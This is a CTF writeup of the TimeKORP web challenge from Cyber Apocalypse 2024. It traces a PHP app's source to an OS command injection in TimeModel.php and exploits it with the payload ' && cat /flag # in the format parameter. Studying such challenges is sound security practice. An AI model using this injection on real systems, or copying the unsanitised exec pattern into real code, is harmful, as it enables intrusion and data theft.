forbytten blogs

TimeKORP Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the TimeKORP Web challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘very easy’ difficulty. The challenge was a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container. The challenge involved exploitation of an OS command injection vulnerability in a php application.

The description of the challenge is shown below.

TimeKORP description

2 Key techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256 web_timekorp.zip
4db378a490a008095bfdf4016bf3f86a8c5e2a847d602c741c3fa16e03435c83  web_timekorp.zip

The zip file contained the following files, indicating the application is a php application.

$ unzip web_timekorp.zip
Archive:  web_timekorp.zip
   creating: web_timekorp/
   creating: web_timekorp/config/
  inflating: web_timekorp/config/nginx.conf
  inflating: web_timekorp/config/fpm.conf
  inflating: web_timekorp/config/supervisord.conf
 extracting: web_timekorp/flag
   creating: web_timekorp/challenge/
   creating: web_timekorp/challenge/static/
  inflating: web_timekorp/challenge/static/main.css
  inflating: web_timekorp/challenge/Router.php
   creating: web_timekorp/challenge/views/
  inflating: web_timekorp/challenge/views/index.php
   creating: web_timekorp/challenge/models/
  inflating: web_timekorp/challenge/models/TimeModel.php
  inflating: web_timekorp/challenge/index.php
   creating: web_timekorp/challenge/assets/
  inflating: web_timekorp/challenge/assets/favicon.png
   creating: web_timekorp/challenge/controllers/
  inflating: web_timekorp/challenge/controllers/TimeController.php
  inflating: web_timekorp/build_docker.sh
  inflating: web_timekorp/Dockerfile

4 Mapping the application

4.1 Mapping the application interactively

The target website was opened in the Firefox browser, proxied via mitmproxy. The website displayed the current time and a couple of links.

The website displayed the current time and a couple of links

Clicking on the “What’s the date? (current)” link resulted in a GET request to /?format=%Y-%m-%d, with the response containing the current date near the bottom of the page:

GET request to /?format=%Y-%m-%d returned the current date in the response near the bottom of the page

Clicking on the “What’s the time?” link resulted in a GET request to /?format=%H:%M:%S, with the response containing the current time near the bottom of the page:

GET request to /?format=%H-%M-%S returned the current time in the response near the bottom of the page

4.2 Mapping the application via source code review

To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.

4.2.1 Dockerfile

The following were observed in Dockerfile:

  1. A Debian Linux base image is used:

    FROM debian:buster-slim
  2. An NGINX server is installed

    RUN apt-get update && apt-get install -y supervisor nginx lsb-release wget
  3. php 7.4 is being used

    # Install PHP dependencies
    RUN apt update && apt install -y php7.4-fpm
  4. The challenge directory is copied to /www:

    COPY challenge /www
  5. The flag file is copied to /flag

    COPY flag /flag
  6. supervisord is used to run the app, configured via /etc/supervisord.conf:

    # Populate database and start supervisord
    CMD /usr/bin/supervisord -c /etc/supervisord.conf

4.2.2 index.php

index.php contains a single route mapped to TimeController@index:

$router = new Router();
$router->new('GET', '/', 'TimeController@index');

4.3 TimeController.php

TimeController.php doesn’t have much code. If there’s a vulnerability present, it is likely to be in the TimeModel class.

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

4.4 TimeModel.php

TimeModel.php accepts a $format when constructed and concatenates it into a string to construct a command on line 6. When getTime() is called, the command is executed as an OS command on line 11 via the php exec function.

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

5 Vulnerability analysis - OS Command Injection

TimeModel.php has a command injection vulnerability on line 6 because the $format parameter is attacker controlled and concatenated into a command string that is then executed as an OS command on line 11. This is an instance of common weakness CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’).

6 Exploitation - reading /flag

An exploitation payload was constructed:

' && cat /flag #

During construction of the TimeModel, this will result in the following command:

date '+' && cat /flag #' 2>&1

Notably:

  1. The date '+' command will simply print a newline character (0a in xxd’s output):

    $ date '+'|xxd
    00000000: 0a                                       .
  2. The exit code ($?) of date '+' will be 0, success:

    $ date '+'
    
    $ echo $?
    0
  3. Thus, the boolean ‘and’ operator, && will cause the next half of the command to execute.

  4. cat /flag will print the contents of the /flag file.

  5. The # comment character will neutralize the remainder of the line.

The payload was submitted in mitmproxy, resulting in a URL encoded GET request to /?format=%27+%26%26+cat+%2Fflag+%23. The flag was returned in the response.

URL encoded command injection payload submitted in the format parameter
Flag returned in the response, near the bottom of the page

7 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned